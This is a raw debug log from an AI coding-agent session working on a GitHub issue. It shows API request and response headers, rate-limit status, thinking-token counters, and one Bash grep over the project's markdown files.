],\n[2026-09-29T07:47:24.561Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:24.561Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:24.561Z] [INFO]       \"cache_creation_input_tokens\": 929,\n[2026-09-29T07:47:24.561Z] [INFO]       \"cache_read_input_tokens\": 51089,\n[2026-09-29T07:47:24.561Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:24.561Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:24.561Z] [INFO]         \"ephemeral_1h_input_tokens\": 929\n[2026-09-29T07:47:24.561Z] [INFO]       },\n[2026-09-29T07:47:24.561Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:47:24.561Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:24.561Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:24.561Z] [INFO]     },\n[2026-09-29T07:47:24.561Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:24.561Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:24.561Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:24.561Z] [INFO]   },\n[2026-09-29T07:47:24.561Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:24.561Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"uuid\": \"f12d6ac8-8852-40ed-883e-9bde575c5425\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:24.554Z\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"request_id\": \"req_011CfXMuQ4MCHkVjBmB3GgVa\",\n[2026-09-29T07:47:24.561Z] [INFO]   \"wire_tool_inputs\": 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2026-09-28\\n  - scripts/validate_issue_365_run.py\",\n[2026-09-29T07:47:25.945Z] [INFO]     \"stderr\": \"\\nShell cwd was reset to /tmp/gh-issue-solver-1790667776920\",\n[2026-09-29T07:47:25.945Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:47:25.945Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:47:25.945Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:47:25.945Z] [INFO]   }\n[2026-09-29T07:47:25.945Z] [INFO] }\n[2026-09-29T07:47:25.980Z] [STDOUT] [log_f5cfda] sending request {\n[2026-09-29T07:47:25.983Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:47:25.985Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:25.987Z] [STDOUT]   options: {\n[2026-09-29T07:47:25.990Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:47:25.993Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:47:25.997Z] [STDOUT]     body: {\n[2026-09-29T07:47:25.999Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:47:26.003Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:47:26.006Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:47:26.010Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:47:26.014Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:47:26.016Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:47:26.020Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:47:26.023Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:47:26.026Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:47:26.030Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:47:26.034Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:47:26.038Z] [STDOUT]       stream: true,\n[2026-09-29T07:47:26.042Z] [STDOUT]     },\n[2026-09-29T07:47:26.045Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:47:26.048Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:47:26.051Z] [STDOUT]       aborted: false,\n[2026-09-29T07:47:26.055Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:47:26.061Z] [STDOUT]       onabort: null,\n[2026-09-29T07:47:26.065Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:47:26.069Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:47:26.073Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:47:26.078Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:47:26.081Z] [STDOUT]     },\n[2026-09-29T07:47:26.083Z] [STDOUT]     stream: true,\n[2026-09-29T07:47:26.089Z] [STDOUT]   },\n[2026-09-29T07:47:26.098Z] [STDOUT]   headers: {\n[2026-09-29T07:47:26.102Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:47:26.112Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:47:26.118Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:47:26.124Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:47:26.128Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:47:26.132Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:47:26.136Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:47:26.138Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:47:26.143Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:47:26.147Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1373\",\n[2026-09-29T07:47:26.151Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:47:26.154Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:47:26.158Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:26.162Z] [STDOUT]     \"x-client-request-id\": \"a678960c-31ec-4f70-be63-683dfe8bfb33\",\n[2026-09-29T07:47:26.164Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:47:26.167Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:47:26.170Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:47:26.173Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:47:26.175Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:47:26.181Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:47:26.184Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:47:26.192Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:47:26.194Z] [STDOUT]   },\n[2026-09-29T07:47:26.199Z] [STDOUT] }\n[2026-09-29T07:47:26.830Z] [STDOUT] [log_f5cfda, request-id: \"req_011CfXMuh4HkK83adz9zkiAR\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 850ms\n[2026-09-29T07:47:26.834Z] [STDOUT] [log_f5cfda] response start {\n[2026-09-29T07:47:26.837Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:26.839Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:26.841Z] [STDOUT]   headers: {\n[2026-09-29T07:47:26.843Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:26.846Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:26.850Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:26.854Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:26.857Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:26.860Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:26.863Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:26.867Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:26.871Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:26.876Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:26.879Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:26.884Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:26.887Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:26.890Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:26.893Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:26.895Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:26.898Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:26.900Z] [STDOUT]     \"cf-ray\": \"a42961376c9cdbb5-FRA\",\n[2026-09-29T07:47:26.903Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:26.905Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:26.908Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:26.911Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:26.916Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:26 GMT\",\n[2026-09-29T07:47:26.922Z] [STDOUT]     \"request-id\": \"req_011CfXMuh4HkK83adz9zkiAR\",\n[2026-09-29T07:47:26.925Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:26.930Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:26.942Z] [STDOUT]     traceresponse: \"00-856bdc37e0a36cf446d7371ba5766532-91f3d586d4dfa1dd-01\",\n[2026-09-29T07:47:26.954Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:26.962Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:26.966Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:26.973Z] [STDOUT]   },\n[2026-09-29T07:47:26.975Z] [STDOUT]   durationMs: 850,\n[2026-09-29T07:47:26.980Z] [STDOUT] }\n[2026-09-29T07:47:26.986Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:26.992Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:26 GMT\",\n[2026-09-29T07:47:26.995Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:26.997Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:27.001Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:27.004Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:27.010Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:27.012Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:27.042Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:27.047Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:27.052Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:27.057Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:27.061Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:27.066Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:27.071Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:27.074Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:27.078Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:27.081Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:27.086Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:27.089Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:27.094Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:27.097Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:27.101Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:27.106Z] [STDOUT]   \"request-id\": \"req_011CfXMuh4HkK83adz9zkiAR\",\n[2026-09-29T07:47:27.110Z] [STDOUT]   \"traceresponse\": \"00-856bdc37e0a36cf446d7371ba5766532-91f3d586d4dfa1dd-01\",\n[2026-09-29T07:47:27.117Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:27.122Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:27.126Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:27.131Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:27.138Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:27.141Z] [STDOUT]   \"cf-ray\": \"a42961376c9cdbb5-FRA\",\n[2026-09-29T07:47:27.146Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:27.150Z] [STDOUT] [log_f5cfda] response parsed {\n[2026-09-29T07:47:27.155Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:27.161Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:27.166Z] [STDOUT]   body: X {\n[2026-09-29T07:47:27.169Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:27.173Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:27.175Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:27.179Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:27.184Z] [STDOUT]     },\n[2026-09-29T07:47:27.188Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:27.194Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:27.199Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:27.203Z] [STDOUT]   },\n[2026-09-29T07:47:27.207Z] [STDOUT]   durationMs: 850,\n[2026-09-29T07:47:27.210Z] [STDOUT] }\n[2026-09-29T07:47:27.356Z] [INFO] {\n[2026-09-29T07:47:27.356Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:27.356Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:27.356Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:47:27.356Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:27.356Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:27.356Z] [INFO]   \"uuid\": \"ea9d50e7-fb1e-4c82-8a63-9ae3b5e499dd\"\n[2026-09-29T07:47:27.356Z] [INFO] }\n[2026-09-29T07:47:28.442Z] [INFO] {\n[2026-09-29T07:47:28.442Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:28.442Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:28.442Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:47:28.442Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:28.442Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:28.442Z] [INFO]   \"uuid\": \"f5a88693-c5b7-4820-a53e-3844ddbf24bf\"\n[2026-09-29T07:47:28.442Z] [INFO] }\n[2026-09-29T07:47:29.740Z] [INFO] {\n[2026-09-29T07:47:29.740Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:29.740Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:29.740Z] [INFO]   \"estimated_tokens\": 250,\n[2026-09-29T07:47:29.740Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:29.740Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:29.740Z] [INFO]   \"uuid\": \"3bdc2f9e-5f4f-4af4-8535-9a1596a046c8\"\n[2026-09-29T07:47:29.740Z] [INFO] }\n[2026-09-29T07:47:31.097Z] [INFO] {\n[2026-09-29T07:47:31.097Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:31.097Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:31.097Z] [INFO]   \"estimated_tokens\": 350,\n[2026-09-29T07:47:31.097Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:31.097Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:31.097Z] [INFO]   \"uuid\": \"927f998c-4216-4785-a681-da3ee1792a64\"\n[2026-09-29T07:47:31.097Z] [INFO] }\n[2026-09-29T07:47:32.543Z] [INFO] {\n[2026-09-29T07:47:32.543Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:32.543Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:32.543Z] [INFO]   \"estimated_tokens\": 500,\n[2026-09-29T07:47:32.543Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:32.543Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:32.543Z] [INFO]   \"uuid\": \"5eb3cc80-5836-4fa4-9de9-b8b78c03516b\"\n[2026-09-29T07:47:32.543Z] [INFO] }\n[2026-09-29T07:47:33.840Z] [INFO] {\n[2026-09-29T07:47:33.840Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:33.840Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:33.840Z] [INFO]   \"estimated_tokens\": 600,\n[2026-09-29T07:47:33.840Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:33.840Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:33.840Z] [INFO]   \"uuid\": \"e686157c-b9cc-42f3-ad54-7a29e5326ada\"\n[2026-09-29T07:47:33.840Z] [INFO] }\n[2026-09-29T07:47:34.994Z] [INFO] {\n[2026-09-29T07:47:34.994Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:34.994Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:34.994Z] [INFO]   \"estimated_tokens\": 700,\n[2026-09-29T07:47:34.994Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:34.994Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:34.994Z] [INFO]   \"uuid\": \"4555c630-7ab5-4f78-a141-0698692fde66\"\n[2026-09-29T07:47:34.994Z] [INFO] }\n[2026-09-29T07:47:36.193Z] [INFO] {\n[2026-09-29T07:47:36.193Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:36.193Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:36.193Z] [INFO]   \"estimated_tokens\": 850,\n[2026-09-29T07:47:36.193Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:36.193Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:36.193Z] [INFO]   \"uuid\": \"db7a3bb3-e4c8-4f95-908d-7b77e4d69088\"\n[2026-09-29T07:47:36.193Z] [INFO] }\n[2026-09-29T07:47:37.591Z] [INFO] {\n[2026-09-29T07:47:37.591Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:37.591Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:37.591Z] [INFO]   \"estimated_tokens\": 950,\n[2026-09-29T07:47:37.591Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:37.591Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:37.591Z] [INFO]   \"uuid\": \"cd9a0422-887a-42b7-b352-bb8001a9be36\"\n[2026-09-29T07:47:37.591Z] [INFO] }\n[2026-09-29T07:47:38.652Z] [INFO] {\n[2026-09-29T07:47:38.652Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:38.652Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:38.652Z] [INFO]   \"estimated_tokens\": 1050,\n[2026-09-29T07:47:38.652Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:38.652Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:38.652Z] [INFO]   \"uuid\": \"bbb72178-9afe-47af-8fc8-de7128476454\"\n[2026-09-29T07:47:38.652Z] [INFO] }\n[2026-09-29T07:47:39.943Z] [INFO] {\n[2026-09-29T07:47:39.943Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:39.943Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:47:39.943Z] [INFO]   \"estimated_tokens\": 1200,\n[2026-09-29T07:47:39.943Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:47:39.943Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:39.943Z] [INFO]   \"uuid\": \"afbe171c-0c61-4e10-b71c-87d381416ff3\"\n[2026-09-29T07:47:39.943Z] [INFO] }\n[2026-09-29T07:47:40.499Z] [INFO] {\n[2026-09-29T07:47:40.499Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"message\": {\n[2026-09-29T07:47:40.499Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"id\": \"msg_011CfXMuhoCEVvue22y5Y4Nc\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:40.499Z] [INFO]     \"content\": [\n[2026-09-29T07:47:40.499Z] [INFO]       {\n[2026-09-29T07:47:40.499Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:47:40.499Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:47:40.499Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:47:40.499Z] [INFO]     ],\n[2026-09-29T07:47:40.499Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:40.499Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:40.499Z] [INFO]       \"cache_creation_input_tokens\": 343,\n[2026-09-29T07:47:40.499Z] [INFO]       \"cache_read_input_tokens\": 52018,\n[2026-09-29T07:47:40.499Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:40.499Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:40.499Z] [INFO]         \"ephemeral_1h_input_tokens\": 343\n[2026-09-29T07:47:40.499Z] [INFO]       },\n[2026-09-29T07:47:40.499Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:40.499Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:40.499Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:40.499Z] [INFO]     },\n[2026-09-29T07:47:40.499Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:40.499Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:40.499Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:40.499Z] [INFO]   },\n[2026-09-29T07:47:40.499Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:40.499Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"uuid\": \"5eab2e42-0471-4780-91d0-e979955a22f2\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:40.490Z\",\n[2026-09-29T07:47:40.499Z] [INFO]   \"request_id\": \"req_011CfXMuh4HkK83adz9zkiAR\"\n[2026-09-29T07:47:40.499Z] [INFO] }\n[2026-09-29T07:47:41.969Z] [INFO] {\n[2026-09-29T07:47:41.969Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:41.969Z] [INFO]   \"message\": {\n[2026-09-29T07:47:41.969Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"id\": \"msg_011CfXMuhoCEVvue22y5Y4Nc\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:41.969Z] [INFO]     \"content\": [\n[2026-09-29T07:47:41.969Z] [INFO]       {\n[2026-09-29T07:47:41.969Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:41.969Z] [INFO]         \"id\": \"toolu_01SWTD1km18u4GBGY5Q7XyGm\",\n[2026-09-29T07:47:41.969Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:41.969Z] [INFO]         \"input\": {\n[2026-09-29T07:47:41.969Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process; grep -rln \\\"V-DEV\\\\|V-CONTRACT\\\" . | head; grep -n \\\"V-DEV\\\\|V-CONTRACT\\\\|V-APPROVE\\\\|V-BIZ\\\" ba-meta-model/*.md | cut -c1-250 | head -12\",\n[2026-09-29T07:47:41.969Z] [INFO]           \"description\": \"Check projection implementation status\"\n[2026-09-29T07:47:41.969Z] [INFO]         },\n[2026-09-29T07:47:41.969Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:41.969Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:41.969Z] [INFO]         }\n[2026-09-29T07:47:41.969Z] [INFO]       }\n[2026-09-29T07:47:41.969Z] [INFO]     ],\n[2026-09-29T07:47:41.969Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:41.969Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:41.969Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:41.969Z] [INFO]       \"cache_creation_input_tokens\": 343,\n[2026-09-29T07:47:41.969Z] [INFO]       \"cache_read_input_tokens\": 